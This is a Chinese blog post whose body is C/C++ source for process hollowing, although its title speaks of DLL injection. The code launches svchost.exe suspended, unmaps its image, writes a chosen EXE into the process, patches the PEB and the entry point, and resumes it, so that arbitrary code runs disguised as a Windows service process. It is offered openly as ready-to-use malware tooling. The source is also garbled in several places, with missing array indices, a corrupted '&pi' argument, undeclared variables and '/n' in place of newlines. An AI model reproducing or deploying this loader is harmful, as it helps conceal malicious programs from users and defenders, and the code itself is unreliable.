一個向別的進程插入dll的代碼收藏


#include "stdafx.h"

#include "windows.h"

#include "tlhelp32.h"

#include "ntpsapi.h"



struct PE_Header

{

unsigned long signature;

unsigned short machine;

unsigned short numSections;

unsigned long timeDateStamp;

unsigned long pointerToSymbolTable;

unsigned long numOfSymbols;

unsigned short sizeOfOptionHeader;

unsigned short characteristics;

};



struct PE_ExtHeader

{

unsigned short magic;

unsigned char majorLinkerVersion;

unsigned char minorLinkerVersion;

unsigned long sizeOfCode;

unsigned long sizeOfInitializedData;

unsigned long sizeOfUninitializedData;

unsigned long addressOfEntryPoint;

unsigned long baseOfCode;

unsigned long baseOfData;

unsigned long imageBase;

unsigned long sectionAlignment;

unsigned long fileAlignment;

unsigned short majorOSVersion;

unsigned short minorOSVersion;

unsigned short majorImageVersion;

unsigned short minorImageVersion;

unsigned short majorSubsystemVersion;

unsigned short minorSubsystemVersion;

unsigned long reserved1;

unsigned long sizeOfImage;

unsigned long sizeOfHeaders;

unsigned long checksum;

unsigned short subsystem;

unsigned short DLLCharacteristics;

unsigned long sizeOfStackReserve;

unsigned long sizeOfStackCommit;

unsigned long sizeOfHeapReserve;

unsigned long sizeOfHeapCommit;

unsigned long loaderFlags;

unsigned long numberOfRVAAndSizes;

unsigned long exportTableAddress;

unsigned long exportTableSize;

unsigned long importTableAddress;

unsigned long importTableSize;

unsigned long resourceTableAddress;

unsigned long resourceTableSize;

unsigned long exceptionTableAddress;

unsigned long exceptionTableSize;

unsigned long certFilePointer;

unsigned long certTableSize;

unsigned long relocationTableAddress;

unsigned long relocationTableSize;

unsigned long debugDataAddress;

unsigned long debugDataSize;

unsigned long archDataAddress;

unsigned long archDataSize;

unsigned long globalPtrAddress;

unsigned long globalPtrSize;

unsigned long TLSTableAddress;

unsigned long TLSTableSize;

unsigned long loadConfigTableAddress;

unsigned long loadConfigTableSize;

unsigned long boundImportTableAddress;

unsigned long boundImportTableSize;

unsigned long importAddressTableAddress;

unsigned long importAddressTableSize;

unsigned long delayImportDescAddress;

unsigned long delayImportDescSize;

unsigned long COMHeaderAddress;

unsigned long COMHeaderSize;

unsigned long reserved2;

unsigned long reserved3;

};





struct SectionHeader

{

unsigned char sectionName[8];

unsigned long virtualSize;

unsigned long virtualAddress;

unsigned long sizeOfRawData;

unsigned long pointerToRawData;

unsigned long pointerToRelocations;

unsigned long pointerToLineNumbers;

unsigned short numberOfRelocations;

unsigned short numberOfLineNumbers;

unsigned long characteristics;

};



struct MZHeader

{

unsigned short signature;

unsigned short partPag;

unsigned short pageCnt;

unsigned short reloCnt;

unsigned short hdrSize;

unsigned short minMem;

unsigned short maxMem;

unsigned short reloSS;

unsigned short exeSP;

unsigned short chksum;

unsigned short exeIP;

unsigned short reloCS;

unsigned short tablOff;

unsigned short overlay;

unsigned char reserved[32];

unsigned long offsetToPE;

};





struct ImportDirEntry

{

DWORD importLookupTable;

DWORD timeDateStamp;

DWORD fowarderChain;

DWORD nameRVA;

DWORD importAddressTable;

};



struct FixupBlock

{

unsigned long pageRVA;

unsigned long blockSize;

};



#define TARGETPROC "svchost.exe" ;



typedef struct _PROCINFO

{

DWORD baseAddr;

DWORD imageSize;

} PROCINFO;



BOOL EXPD = False ;

CHAR *PID;



//**********************************************************************************************************

//

// This function reads the MZ, PE, PE extended and Section Headers from an EXE file.

//

//**********************************************************************************************************



bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,

      SectionHeader **outSecHdr)

{

fseek(fp, 0, SEEK_END);

long fileSize = ftell(fp);

fseek(fp, 0, SEEK_SET);



if(fileSize < sizeof(MZHeader))

{

  printf("File size too small/n"); 

  return false;

}



// read MZ Header

MZHeader mzH;

fread(&mzH, sizeof(MZHeader), 1, fp);



if(mzH.signature != 0x5a4d)  // MZ

{

  printf("File does not have MZ header/n");

  return false;

}



printf("Offset to PE Header = %X/n", mzH.offsetToPE);



if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))

{

  printf("File size too small/n"); 

  return false;

}



// read PE Header

fseek(fp, mzH.offsetToPE, SEEK_SET);

PE_Header peH;

fread(&peH, sizeof(PE_Header), 1, fp);



printf("Size of option header = %d/n", peH.sizeOfOptionHeader);

printf("Number of sections = %d/n", peH.numSections);



if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))

{

  printf("Unexpected option header size./n");

 

  return false;

}



// read PE Ext Header

PE_ExtHeader peXH;



fread(&peXH, sizeof(PE_ExtHeader), 1, fp);



printf("Import table address = %X/n", peXH.importTableAddress);

printf("Import table size = %X/n", peXH.importTableSize);

printf("Import address table address = %X/n", peXH.importAddressTableAddress);

printf("Import address table size = %X/n", peXH.importAddressTableSize);





// read the sections

SectionHeader *secHdr = new SectionHeader[peH.numSections];



fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);



*outMZ = mzH;

*outPE = peH;

*outpeXH = peXH;

*outSecHdr = secHdr;



return true;

}





//**********************************************************************************************************

//

// This function calculates the size required to load an EXE into memory with proper alignment.

//

//**********************************************************************************************************



int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,

        SectionHeader *inSecHdr)

{

int result = 0;

int alignment = inpeXH->sectionAlignment;



if(inpeXH->sizeOfHeaders % alignment == 0)

  result += inpeXH->sizeOfHeaders;

else

{

  int val = inpeXH->sizeOfHeaders / alignment;

  val++;

  result += (val * alignment);

}





for(int i = 0; i < inPE->numSections; i++)

{

  if(inSecHdr.virtualSize)

  {

    if(inSecHdr.virtualSize % alignment == 0)

      result += inSecHdr.virtualSize;

    else

    {

      int val = inSecHdr.virtualSize / alignment;

      val++;

      result += (val * alignment);

    }

  }

}



return result;

}





//**********************************************************************************************************

//

// This function calculates the aligned size of a section

//

//**********************************************************************************************************



unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)

{ 

if(curSize % alignment == 0)

  return curSize;

else

{

  int val = curSize / alignment;

  val++;

  return (val * alignment);

}

}





//**********************************************************************************************************

//

// This function loads a PE file into memory with proper alignment.

// Enough memory must be allocated at ptrLoc.

//

//**********************************************************************************************************



bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,

    SectionHeader *inSecHdr, LPVOID ptrLoc)

{

char *outPtr = (char *)ptrLoc;



fseek(fp, 0, SEEK_SET);

unsigned long headerSize = inpeXH->sizeOfHeaders;



// certain PE files have sectionHeaderSize value > size of PE file itself.

// this loop handles this situation by find the section that is nearest to the

// PE header.



for(int i = 0; i < inPE->numSections; i++)

{

  if(inSecHdr.pointerToRawData < headerSize)

    headerSize = inSecHdr.pointerToRawData;

}



// read the PE header

unsigned long readSize = fread(outPtr, 1, headerSize, fp);

printf("HeaderSize = %d/n", headerSize);

if(readSize != headerSize)

{

  printf("Error reading headers (%d %d)/n", readSize, headerSize);

  return false; 

}



outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);



// read the sections

for(i = 0; i < inPE->numSections; i++)

{

  if(inSecHdr.sizeOfRawData > 0)

  {

    unsigned long toRead = inSecHdr.sizeOfRawData;

    if(toRead > inSecHdr.virtualSize)

      toRead = inSecHdr.virtualSize;



    fseek(fp, inSecHdr.pointerToRawData, SEEK_SET);

    readSize = fread(outPtr, 1, toRead, fp);



    if(readSize != toRead)

    {

      printf("Error reading section %d/n", i);

      return false;

    }

    outPtr += getAlignedSize(inSecHdr.virtualSize, inpeXH->sectionAlignment);

  }

  else

  {

    // this handles the case where the PE file has an empty section. E.g. UPX0 section

    // in UPXed files.



    if(inSecHdr.virtualSize)

      outPtr += getAlignedSize(inSecHdr.virtualSize, inpeXH->sectionAlignment);

  }

}



return true;

}











//**********************************************************************************************************

//

// This function loads a PE file into memory with proper alignment.

// Enough memory must be allocated at ptrLoc.

//

//**********************************************************************************************************



void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,

        SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)

{

if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)

{

  FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);

  long delta = newBase - inpeXH->imageBase;



  while(fixBlk->blockSize)

  {

    printf("Addr = %X/n", fixBlk->pageRVA);

    printf("Size = %X/n", fixBlk->blockSize);



    int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;

    printf("Num Entries = %d/n", numEntries);



    unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);



    for(int i = 0; i < numEntries; i++)

    {

      DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));

     

      int relocType = (*offsetPtr & 0xF000) >> 12;

     

      printf("Val = %X/n", *offsetPtr);

      printf("Type = %X/n", relocType);



      if(relocType == 3)

        *codeLoc = ((DWORD)*codeLoc) + delta;

      else

      {

        printf("Unknown relocation type = %d/n", relocType);

      }

      offsetPtr++;

    }



    fixBlk = (FixupBlock *)offsetPtr;

  }

} 

}





//**********************************************************************************************************

//

// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.

//

//**********************************************************************************************************





 

 

BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)

{

STARTUPINFO si = {0};

if(!EXPD)

  {

if(CreateProcess(NULL, TARGETPROC,

        NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi)) 

{

  ctx->ContextFlags=CONTEXT_FULL;

  GetThreadContext(pi->hThread, ctx);



  DWORD *pebInfo = (DWORD *)ctx->Ebx;

  DWORD read;

  ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);



  DWORD curAddr = outChildProcInfo->baseAddr;

  MEMORY_BASIC_INFORMATION memInfo;

  while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))

  {

    if(memInfo.State == MEM_FREE)

      break;

    curAddr += memInfo.RegionSize;

  }

  outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;



  return TRUE;

}

} else

{

  DEBUG_EVENT DBEvent;

  if(DebugActiveProcess((DWORD)*PID))

  {

    WaitForDebugEvent(&DBEvent,INFINITE);

    pi->hThread=DBEvent.u.CreateProcessInfo.hThread;

    pi->hprocess=DBEvent.u.CreateProcessInfo.hProcess;

    ctx->ContextFlags=CONTEXT_FULL;

  GetThreadContext(pi->hThread, ctx);

  DWORD *pebInfo2 = (DWORD *)ctx->Fs;

  *pedInfo2+=0x30;

  DWORD read2;

  ReadProcessMemory(pi->hProcess, &pebInfo2[2], (LPVOID)&(outChildProcInfo2->baseAddr), sizeof(DWORD), &read2);



  DWORD curAddr2 = outChildProcInfo2->baseAddr;

  MEMORY_BASIC_INFORMATION memInfo2;

  while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr2, &memInfo2, sizeof(memInfo2)))

  {

    if(memInfo2.State == MEM_FREE)

      break;

    curAddr2+= memInfo2.RegionSize;

  }

  outChildProcInfo2->imageSize = (DWORD)curAddr2 - (DWORD)outChildProcInfo2->baseAddr;



  return TRUE;

  }

}



return FALSE;

}





//**********************************************************************************************************

//

// Returns true if the PE file has a relocation table

//

//**********************************************************************************************************



BOOL hasRelocationTable(PE_ExtHeader *inpeXH)

{

if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)

{

  return TRUE;

}

return FALSE;

}





typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);





//**********************************************************************************************************

//

// To replace the original EXE with another one we do the following.

// 1) Create the original EXE process in suspended mode.

// 2) Unmap the image of the original EXE.

// 3) Allocate memory at the baseaddress of the new EXE.

// 4) Load the new EXE image into the allocated memory.

// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended

//  thread.

//

// When the original EXE process is created in suspend mode, GetThreadContext returns these useful

// register values.

// EAX - process entry point

// EBX - points to PEB

//

// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the

// new EXE.

//

//**********************************************************************************************************



void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,

    SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)

{

STARTUPINFO si = {0};

PROCESS_INFORMATION pi;

CONTEXT ctx;

PROCINFO childInfo;



if(createChild(π, &ctx, &childInfo))

{ 

  printf("Original EXE loaded (PID = %d)./n", pi.dwProcessId);

  printf("Original Base Addr = %X, Size = %X/n", childInfo.baseAddr, childInfo.imageSize);

 

  LPVOID v = (LPVOID)NULL;

 

  if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)

  {

    // if new EXE has same baseaddr and is its size is <= to the original EXE, just

    // overwrite it in memory

    v = (LPVOID)childInfo.baseAddr;

    DWORD oldProtect;

    VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);     

   

    printf("Using Existing Mem for New EXE at %X/n", (unsigned long)v);

  }

  else

  {

    // get address of ZwUnmapViewOfSection

    PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");



    // try to unmap the original EXE image

    if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)

    {

      // allocate memory for the new EXE image at the prefered imagebase.

      v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

      if(v)

        printf("Unmapped and Allocated Mem for New EXE at %X/n", (unsigned long)v);

    }

  }



  if(!v && hasRelocationTable(inpeXH))

  {

    // if unmap failed but EXE is relocatable, then we try to load the EXE at another

    // location

    v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if(v)

    {

      printf("Allocated Mem for New EXE at %X. EXE will be relocated./n", (unsigned long)v);



      // we've got to do the relocation ourself if we load the image at another

      // memory location     

      doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);

    }

  }



  printf("EIP = %X/n", ctx.Eip);

  printf("EAX = %X/n", ctx.Eax);

  printf("EBX = %X/n", ctx.Ebx);  // EBX points to PEB

  printf("ECX = %X/n", ctx.Ecx);

  printf("EDX = %X/n", ctx.Edx);

 

  if(v)

  {     

    printf("New EXE Image Size = %X/n", imageSize);

   

    // patch the EXE base addr in PEB (PEB + 8 holds process base addr)

    DWORD *pebInfo = (DWORD *)ctx.Ebx;

    DWORD wrote;         

    WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);



    // patch the base addr in the PE header of the EXE that we load ourselves

    PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);

    peXH->imageBase = (DWORD)v;

   

    if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))

    { 

      printf("New EXE image injected into process./n");



      ctx.ContextFlags=CONTEXT_FULL;     

      //ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);

     

      if((DWORD)v == childInfo.baseAddr)

      {

        ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;  // eax holds new entry point

      }

      else

      {

        // in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was

        // performed.

        ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;  // eax holds new entry point

      }



      printf("********> EIP = %X/n", ctx.Eip);

      printf("********> EAX = %X/n", ctx.Eax);



      SetThreadContext(pi.hThread,&ctx);



      ResumeThread(pi.hThread);

      printf("Process resumed (PID = %d)./n", pi.dwProcessId);

    }

    else

    {

      printf("WriteProcessMemory failed/n");

      TerminateProcess(pi.hProcess, 0);

    }

  }

  else

  {

    printf("Load failed. Consider making this EXE relocatable./n");

    TerminateProcess(pi.hProcess, 0);

  }

}

else

{

  printf("Cannot load %s/n", TARGETPROC);

}

}









int main(int argc, char* argv[])

{

if((argc < 2 )||(argc > 3))

{

  printf("/nUsage: %s [pid]/n", argv[0]);

  return 1;

}

  if(argc==3){

  alloc(PID,1024);

  memset(PID,0,1024);

  strcpy(PID,argv[2]);

  EXPD= True ;

  }

 

FILE *fp = fopen(argv[1], "rb");

if(fp)

{

  MZHeader mzH;

  PE_Header peH;

  PE_ExtHeader peXH;

  SectionHeader *secHdr;



  if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))

  {

    int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);

    printf("Image Size = %X/n", imageSize);



    LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if(ptrLoc)

    {

      printf("Memory allocated at %X/n", ptrLoc);

      loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);                     

     

      doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);             

    }

    else

      printf("Allocation failed/n");

  }



  fclose(fp);

}

else

  printf("/nCannot open the EXE file!/n");



return 0;

}

 
發佈了38 篇原創文章 · 獲贊 5 · 訪問量 11萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章